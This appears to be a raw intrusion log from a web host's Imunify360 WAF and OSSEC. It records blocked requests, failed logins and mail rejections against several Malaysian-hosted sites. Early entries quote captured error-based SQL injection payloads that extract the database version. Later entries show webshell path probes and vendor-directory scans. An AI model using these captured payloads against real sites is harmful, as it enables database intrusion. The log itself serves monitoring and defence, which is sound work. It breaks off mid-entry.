IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV: or 1= and 0=cast(coalesce((select version())::text, chr(32))::text || chr(67) as numeric)-- and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 2.57.170.22
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:and 1= and (select 1 from (select count(*), concat((select (select concat(cast(version() as char),0x7e))), floor(rand(0) * 2)) x from information_schema.tables group by x) a)-- and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /services-detail.php?id=354804'  AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)# ' HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 2.57.170.22
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: PHP Injection Low value||MV:and 1= AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)-- and 1=1||MVN:ARGS:id||RSV:7.64||T:APACHE||SC:/home2/kendek/public_html/services-detail.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: PHP Injection Low value||MV: or 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) and 1=1||MVN:ARGS:id||RSV:7.64||T:APACHE||SC:/home2/kendek/public_html/services-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 2.57.170.54
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV: or 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 2.57.170.22
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:and 1= AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)-- and 1=1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2.57.170.22
country_id: 3175395
domain: www.kendek.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:354804' and 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) and '1'='1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.97.21.249
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/maennchen/zipstream-php/test/bug HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.255.19.202
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/maennchen/zipstream-php/test/bug/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.223.128.136
country_id: 3277605
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/monolog/monolog/src/Monolog/Formatter HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.59
country_id: 3865483
description:
Jan 17 00:39:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.166.59.17
country_id: 1210997
description:
[2026-01-17 00:39:54 +0800] info [whostmgrd] 103.166.59.17 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.146
country_id: 3469034
description:
Jan 17 00:39:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 00:40:24 H=([45.144.212.242]) [45.144.212.242]:52875 F=<no_reply@admin.com> rejected RCPT <waynegoh@empirelog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.109.153.175
country_id: 1835841
description:
Jan 17 00:40:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.109.153.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.109.153.175
country_id: 1835841
description:
2026-01-17 00:40:34 dovecot_login authenticator failed for H=([183.109.153.175]) [183.109.153.175]:50644: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-17 00:41:43 H=([45.144.212.242]) [45.144.212.242]:62721 F=<no_reply@admin.com> rejected RCPT <wendy@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/images/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 223.181.23.41
country_id: 1269750
domain: visoft.com.my
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.64||T:APACHE||REQUEST_URI:/wp-content/plugins/jetpack/readme.txt||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/druma_photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.28.77.8
country_id: 3923057
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/league/flysystem/src/Plugin HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.180
country_id: 6252001
description:
2026-01-17  0:45:40 194562 [Warning] Aborted connection 194562 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.180' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.117.72.233
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/league/flysystem/src/Plugin/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.12
country_id: 2750405
description:
Jan 17 00:46:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.253.209.96
country_id: 587116
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/doc/introduction.rst HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 17 00:50:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.193.168.136
country_id: 1269750
description:
Jan 17 00:50:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.193.168.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.136
country_id: 1269750
description:
2026-01-17 00:50:32 dovecot_login authenticator failed for H=([203.193.168.136]) [203.193.168.136]:58746: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.33.89.246
country_id: 3469034
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.167.1
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/exporter/phpunit.xml.dist HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.24.165
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/gold/12/90/1260524 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.150.248.40
country_id: 1522867
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Event/ConsoleErrorEvent.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 17 00:55:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/img/photos/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.70.74.137
country_id: 3469034
description:
Jan 17 00:56:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.70.74.137 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/img/awards.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.117
country_id: 3175395
description:
Jan 17 00:57:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.117 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 199.45.155.105
country_id: 6252001
description:
Jan 17 00:59:52 sv3 pure-ftpd[1633656]: (?@199.45.155.105) [INFO] New connection from 199.45.155.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.217.120.52
country_id: 1269750
description:
Jan 17 01:01:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.217.120.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.47.5
country_id: 953987
description:
Jan 17 01:03:31 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.47.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.131
country_id: 953987
description:
Jan 17 01:03:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.23.191.87
country_id: 3469034
description:
Jan 17 01:03:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.23.191.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.116
country_id: 690791
description:
Jan 17 01:03:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.45
country_id: 3865483
description:
Jan 17 01:03:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.55.226.48
country_id: 798544
description:
Jan 17 01:04:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.55.226.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.155.253.49
country_id: 3469034
description:
Jan 17 01:04:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.155.253.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.23.191.87
country_id: 3469034
description:
Jan 17 01:03:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.23.191.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.131
country_id: 953987
description:
Jan 17 01:03:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.89.208.174
country_id: 1605651
description:
Jan 17 01:04:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.89.208.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.57.206.200
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/bin/build-manual HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 44.247.97.5
country_id: 6252001
domain: geminiflourmill.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/blog/mon/particulier/loginform3ad6.php||SC:/home2/cabecom/public_html/img/blog||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.66.119.139
country_id: 2661886
description:
Jan 17 01:08:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.66.119.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.119.139
country_id: 2661886
description:
2026-01-17 01:08:02 dovecot_plain authenticator failed for H=78-66-119-139-no600.tbcn.telia.com (biomy) [78.66.119.139]:49036: 535 Incorrect authentication data (set_id=admin@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.24
country_id: 2750405
description:
Jan 17 01:10:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.42.225.40
country_id: 2510769
description:
Jan 17 01:11:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.42.225.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.42.225.40
country_id: 2510769
description:
2026-01-17 01:11:53 dovecot_plain authenticator failed for H=40.red-81-42-225.staticip.rima-tde.net (agges) [81.42.225.40]:36728: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.209
country_id: 953987
description:
Jan 17 01:13:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.43.50
country_id: 953987
description:
Jan 17 01:13:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.43.50 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.249.212.90
country_id: 3469034
domain: fasterget.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fasterget.com.my/cgi-bin HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.239.46.110
country_id: 3437598
description:
2026-01-17 01:14:37 H=([45.239.46.110]) [45.239.46.110]:34378 F=<rafidah@pspoly.com.my> rejected RCPT <rafidah@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.209
country_id: 953987
description:
Jan 17 01:13:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.239.46.110
country_id: 3437598
description:
2026-01-17 01:15:29 H=([45.239.46.110]) [45.239.46.110]:13107 F=<rafidah@pspoly.com.my> rejected RCPT <rafidah@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.239.46.110
country_id: 3437598
description:
2026-01-17 01:16:11 H=([45.239.46.110]) [45.239.46.110]:13236 F=<rafidah@pspoly.com.my> rejected RCPT <rafidah@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.1.136
country_id: 690791
description:
Jan 17 01:16:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.1.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.172.41
country_id: 798544
description:
Jan 17 01:16:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.172.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.172.41
country_id: 798544
description:
Jan 17 01:17:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.172.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.1.110.108
country_id: 99237
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/service.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.93.84
country_id: 1269750
description:
Jan 17 01:18:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.93.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.93.84
country_id: 1269750
description:
2026-01-17 01:18:35 dovecot_login authenticator failed for H=([152.52.93.82]) [152.52.93.84]:10400: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.123.96.7
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=1&page_id=1&sub=35 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.48.129.184
country_id: 1168579
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=541954 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.134.172.118
country_id: 3625428
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=1&sub=26 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.64.97.59
country_id: 2453866
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/resize.php?h=360&img=img/category_photos/59477378.jpg&w=360 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.96.106.140
country_id: 6252001
domain: www.maalloys.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:191.96.106.140||TA:191.96.106.140||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.135.71.40
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hall/459/436572 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.58.66.250
country_id: 3996063
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/img/photos/.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.171.113.139
country_id: 2017370
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.25.101
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/piano/361/674798 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.182.92.118
country_id: 6252001
description:
[2026-01-17 01:31:39 +0800] info [whostmgrd] 98.182.92.118 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.11.11.20
country_id: 3895114
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&sub=26 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.7.210.116
country_id: 3658394
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=260012 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.179.125.84
country_id: 1210997
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/run/NetworkManager/conf.d/15-carrier-timeout.conf||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.188.247.106
country_id: 3202326
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&page_id=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.204
country_id: 6252001
description:
Jan 17 01:35:28 sv3 pure-ftpd[1654478]: (?@198.235.24.204) [INFO] New connection from 198.235.24.204


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.180
country_id: 2510769
description:
Jan 17 01:37:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.114
country_id: 3175395
description:
Jan 17 01:37:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.114 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.253.136.77
country_id: 2589581
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/enquiry.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.26
country_id: 2750405
description:
Jan 17 01:38:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.26 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.196.78.175
country_id: 3017382
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-39.5.196.78.175||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.207.231.206
country_id: 2245662
domain: dsc-expat.com
description:
